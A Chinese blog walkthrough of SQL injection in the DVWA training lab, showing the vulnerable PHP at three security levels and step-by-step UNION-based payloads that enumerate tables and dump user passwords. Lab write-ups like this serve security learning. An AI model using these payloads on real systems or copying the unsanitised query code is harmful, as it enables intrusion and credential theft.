欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

DWVA-关于SQL注入的漏洞详解

程序员文章站 2022-04-10 13:57:28
low等级 代码如下: 1

low等级

代码如下:

 

 1  <?php
 2 
 3 if( isset( $_request[ 'submit' ] ) ) {
 4     // get input
 5     $id = $_request[ 'id' ];
 6 
 7     // check database
 8     $query  = "select first_name, last_name from users where user_id = '$id';";
 9     $result = mysqli_query($globals["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($globals["___mysqli_ston"])) ? mysqli_error($globals["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
10 
11     // get results
12     while( $row = mysqli_fetch_assoc( $result ) ) {
13         // get values
14         $first = $row["first_name"];
15         $last  = $row["last_name"];
16 
17         // feedback for end user
18         echo "<pre>id: {$id}<br />first name: {$first}<br />surname: {$last}</pre>";
19     }
20 
21     mysqli_close($globals["___mysqli_ston"]);
22 }
23 
24 ?>

 

如上图,代码并没有对输入进行过滤,存在sql注入漏洞

下面开始攻击:

1.判断是否存在注入

输入   1                         ---返回正确

输入   1’                        ---返回错误

输入   1 and 1=1         ---返回正确

输入   1 and 1=2         ---返回正确

输入   1‘ and ’1‘=’1      ---返回正确

输入   1‘ and ’1‘=’1      ---返回正确

输入   1‘ and ’1‘=’2      ---返回错误(到了这里得出应该存在字符型注入,下面继续验证)

输入   1‘ or ’1‘=’1         ---返回正确(返回很多结果,证明存在字符型注入)

2.猜解查询sql语句中的字段数

输入   1‘ or 1=1 order by 1#     ---返回正确

输入   1‘ or 1=1 order by 2#      ---返回正确

输入   1‘ or 1=1 order by 3#      ---返回错误(返回结果---unknown column '3' in 'order clause'       证明字段数为2)

3.确定字段顺序

输入   1' or 1=1 union select 1,2#    ---返回两组结果(证明执行的sql查询语句为:select frist name,surname from 表 where id='id')

4.确定数据库

输入   1' or 1=1 union select database(),2#    ---确定数据库为  dwva

5.猜解表名

输入  1' or 1=1 union select 1,table_name from information_schema.tables where table_schema='dvwa' #        ---确定表名为 guestbook 和 users

6.猜解列名

输入  1' or 1=1 union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #      ---爆出8个列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.猜解数据名

输入  1' or 1=1 union select 1,concat(user,'-',password) from users #       ---爆出所有数据

 

medium

代码如下:

 

 1 <?php
 2 
 3 if( isset( $_post[ 'submit' ] ) ) {
 4     // get input
 5     $id = $_post[ 'id' ];
 6 
 7     $id = mysqli_real_escape_string($globals["___mysqli_ston"], $id);
 8 
 9     $query  = "select first_name, last_name from users where user_id = $id;";
10     $result = mysqli_query($globals["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($globals["___mysqli_ston"]) . '</pre>' );
11 
12     // get results
13     while( $row = mysqli_fetch_assoc( $result ) ) {
14         // display values
15         $first = $row["first_name"];
16         $last  = $row["last_name"];
17 
18         // feedback for end user
19         echo "<pre>id: {$id}<br />first name: {$first}<br />surname: {$last}</pre>";
20     }
21 
22 }
23 
24 // this is used later on in the index.php page
25 // setting it here so we can close the database connection in here like in the rest of the source scripts
26 $query  = "select count(*) from users;";
27 $result = mysqli_query($globals["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($globals["___mysqli_ston"])) ? mysqli_error($globals["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
28 $number_of_rows = mysqli_fetch_row( $result )[0];
29 
30 mysqli_close($globals["___mysqli_ston"]);
31 ?> 

 中等难度中对特殊字符进行了转义,并且将输入框改为下拉菜单,防止注入。

我们可以通过burpsuit抓包后修改提交数据来进行恶意注入。

下面开始攻击:

1.判断注入类型

选择1,提交,抓包后更改为 (此操作后续简写为抓包)

1‘ and 1=1                  ---返回错误

1 and 1=1                  ---返回正常(说明注入类型为数字型注入)

2.判断字段数

抓包

1 order by 1#            ---返回正常

1 order by 2#            ---返回正常

1 order by 3#            ---返回错误(字段数为2)

3.判断字段顺序

抓包

1 union select 1,2#         ---返回正常

4.猜解数据库

抓包

1 union select 1,database()#    ---成功爆出数据库 dvwa

5.猜解表名

抓包

1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#       ---返回错误(此处的错误是由于存在字符 ‘ ,可以转换成16进制然后提交)

1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127#        ---返回正常(只能爆出admin表)

1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#        ---正常爆出(这里和上一句的区别在于转换16进制的时候,上一句转的是  ‘dvwa’  ,这一句转的是  dvwa  ,转换的时候没有加‘,需要注意!)

也可以这样

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名guestbook,users

6.猜解列名

抓包

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #     ---爆出列名

7.猜解数据名

抓包

1 union select concat(user),concat(password) from users#      ---爆出所有数据名

 

 

high

代码如下:

 1 <?php
 2 
 3 if( isset( $_session [ 'id' ] ) ) {
 4     // get input
 5     $id = $_session[ 'id' ];
 6 
 7     // check database
 8     $query  = "select first_name, last_name from users where user_id = '$id' limit 1;";
 9     $result = mysqli_query($globals["___mysqli_ston"], $query ) or die( '<pre>something went wrong.</pre>' );
10 
11     // get results
12     while( $row = mysqli_fetch_assoc( $result ) ) {
13         // get values
14         $first = $row["first_name"];
15         $last  = $row["last_name"];
16 
17         // feedback for end user
18         echo "<pre>id: {$id}<br />first name: {$first}<br />surname: {$last}</pre>";
19     }
20 
21     ((is_null($___mysqli_res = mysqli_close($globals["___mysqli_ston"]))) ? false : $___mysqli_res);        
22 }
23 
24 ?> 

 

high级别对提交参数加了一个  limit 1 ,依次来控制输出参数为一个。

此处可以利用low中的注入破解,因为注入过程中用到了#,将后面的语句注释掉了。

1.判断注入类型

1' or '1'='1      ---字符注入

2.判断字段数

1' or 1=1 order by 2#      ---返回正确

1' or 1=1 order by 3#      ---返回错误

3.判断字段顺序

1‘ or 1=1 union select 1.2#    ---返回正常

4.猜解数据库

1‘ or 1=1 union select 1,database()#    ---爆出数据库名

5.猜解表名

1'  or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名

6.猜解列名

1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #       ----爆出列名

7.爆出数据

1' or 1=1 union select group_concat(user),group_concat(password) from users #            ---爆出数据